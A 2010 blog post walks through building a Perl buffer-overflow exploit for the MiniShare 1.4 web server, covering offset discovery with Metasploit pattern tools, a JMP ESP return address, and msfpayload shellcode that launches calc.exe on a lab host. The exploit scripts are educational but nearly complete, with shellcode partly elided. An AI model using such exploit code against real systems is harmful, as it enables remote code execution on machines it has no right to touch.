Friday, January 22, 2010

Developing an exploit for buffer overflows...The Entire Life Cycle.

Being a little familiar with reverse engineering windows executables, it wa time for me to take the next step. I'm quite familiar with using metasploit to exploit systems and gain root on systems but being the guy that i am, i like to just know how the underlying technology of things work. Having some background in reverse engineering and exploiting systems was all the prerequsites i needed to take the next big step, writting my own code to exploit systems.

Recently i started learning perl and wrote some nifty sniffer applications that can retrieve passwords and so forth. As everything i learnt in perl was still fresh in my head, i decided to use perl as the platform i would use to write exploits. I also followed this tutorial throughout my learning of writing exploits, even though they used python. I took the extra step in porting the code to perl :).

Needed Software:
minishare 1.4
Ollydebug
Backtrack 4

Minishare is a minimal webserver running on port 80 that shares files. You run the program, add files to it, then you can access these files via a remote web browser and download them. In version 1.4 there was reported that there was a buffer overflow vunerability within the software (http://secunia.com/advisories/13114/). You can find information about software or OS vulnerabilities and exploit codes at websites such as http://secunia.com/advisories/search, www.milw0rm.com and www.exploit-db.com.

Ollydbg is a win32 debuffer/assembler application that i frequently use for reverse engineering purposes.

Open up the minishare.exe in Ollydbg and hit f9 key to start the execution.

The next thing you want to do is trigger the vulnerability. From http://secunia.com/advisories/13114, we see that the exploit is triggered by sending a specially crafted overly long request with a pathname larger than 1787 bytes. So lets get to some perl code.

#!/usr/local/bin/perl
#
#
#
use IO::Socket;
############
$port="80";
$host="192.168.1.60";
$proto="tcp";

$sock = IO::Socket::INET->(PeerPort=> $port, $PeerAddr=> $host, Proto=> $proto) or die ("Connection issue");

$buff="GET ";
$buff .="\x41" x 2000;
$buff .=" HTTP/1.1\r\n\r\n";

print $sock "$buff";
close ($sock);

The above perl code would connect to host 192.168.1.60 on tcp port 80 then send the malformed GET request to crash the minishare server. You should notice that EIP(Instruction pointer) and ESP (Stack pointer) have been over written with values of 41414141 respectively.

We need to find out the offsets of EIP and ESP in our malformed sent string buffer. We use Metasploit's tools, patter_create and patter_offset to aid in this process.

#./patter_create 2000.
Copy the generated characters to your perl code.

#!/usr/local/bin/perl
#
#
#
use IO::Socket;
############
$port="80";
$host="192.168.1.60";
$proto="tcp";

$sock = IO::Socket::INET->(PeerPort=> $port, $PeerAddr=> $host, Proto=> $proto) or die ("Connection issue");

$buff="GET ";
$buff .=("Aa0Aa1....
6Ac7Ac......................
f3Af4A.....");
$buff .=" HTTP/1.1\r\n\r\n";

print $sock "$buff";
close ($sock);

Press ctrl and f2 to restart the execution of minishare from within Ollydbg. Run the new perl code now and note the value of EIP and the value of the location ESP points to. Now goback to our metasploit tools.

#./patter_offset 36684335
1787 //offset for EIP
#./patter_offset 43376843
1791 //offset for ESP

The offset of EIP, we are going to put the location of a location in memory that points back to the stack, i.e, JMP ESP. We are going to search through the loaded application modules (Dlls) and search for any JMP ESP instruction. Note, we want to avoid any address that contains a zero byte \x00. This character is considered a string terminator in the C programming language, and usually has the effect of breaking an exploit when it is included within a buffer. For a similar reason, we also want to avoid the line feed and carriage return characters \x0a and \x0d.

To search for JMP ESP, Withing Ollydbg, goto View -> Loadable modules. I like to use system modules, such as user32.dll and shell32.dll. Right click shell32.dll for example and click on "view code in CPU". Right click in the code view and select search for, then goto command. Type "JMP ESP". When one is found write down that address (7C9D30F3). We are now goingto point to this address in our perl code and replace EIP with it since we know where to put it (remember the offset of EIP was 1787).


#!/usr/local/bin/perl
#
#
#
use IO::Socket;
############
$port="80";
$host="192.168.1.60";
$proto="tcp";

$sock = IO::Socket::INET->(PeerPort=> $port, $PeerAddr=> $host, Proto=> $proto) or die ("Connection issue");

$buff="GET ";
$buff .="\x90" x 1787;
$buff .= "\xF3\x30\x9D\x7C";
$buff .= "\x90" x 16;
$buff .=" HTTP/1.1\r\n\r\n";

print $sock "$buff";
close ($sock);

Note that we wrote the memory address of 7C9D30F3 backwards, i.e , "\xF3\x30\x9D\x7C" as per x86 architechure.

Restart minishare in Ollydbg, set a breakpoint at the memory location of the JMP ESP that we found and run. Exewcute the perl exploit. Notice that it has hit our break point? ALL thats left to do is to put our shellcode in. We turn to metasploit again for this

#./msfpayload windows/exec CMD=calc.exe R | ./msfencode -a x86 -b '\x00\x0A\x0D' -t c

We had to pipe the output of the shellcode to msfencode so we can get rid of the pescky bytes '\x00\x0A\x0D'
'-b' tells it to avoid this list of characters
'-a x86' tells it the architechture to encode as
'-t c' format to display is c code format

Next we copy our shell code to our perl program.

#!/usr/local/bin/perl
#
#
#
use IO::Socket;
############
$port="80";
$host="192.168.1.60";
$proto="tcp";

$sock = IO::Socket::INET->(PeerPort=> $port, $PeerAddr=> $host, Proto=> $proto) or die ("Connection issue");

$buff="GET ";
$buff .="\x90" x 1787;
$buff .= "\xF3\x30\x9D\x7C";
$buff .= "\x90" x 16;
$buff .=
"\xd5\xa0\x76.......".
"\x32\x47\xe8.......".
"\x12\x4f\xd9........".
"\x3c\x76\x1A";
$buff .=" HTTP/1.1\r\n\r\n";

print $sock "$buff";
close ($sock);


Restart in Ollydbg. Send the perl exploit and if all went well, calc.exe should be executed on that machine, i.e. You have just taken advantage of the remote code execution vulnerability.

References/Good Reading:
http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html

2 comments: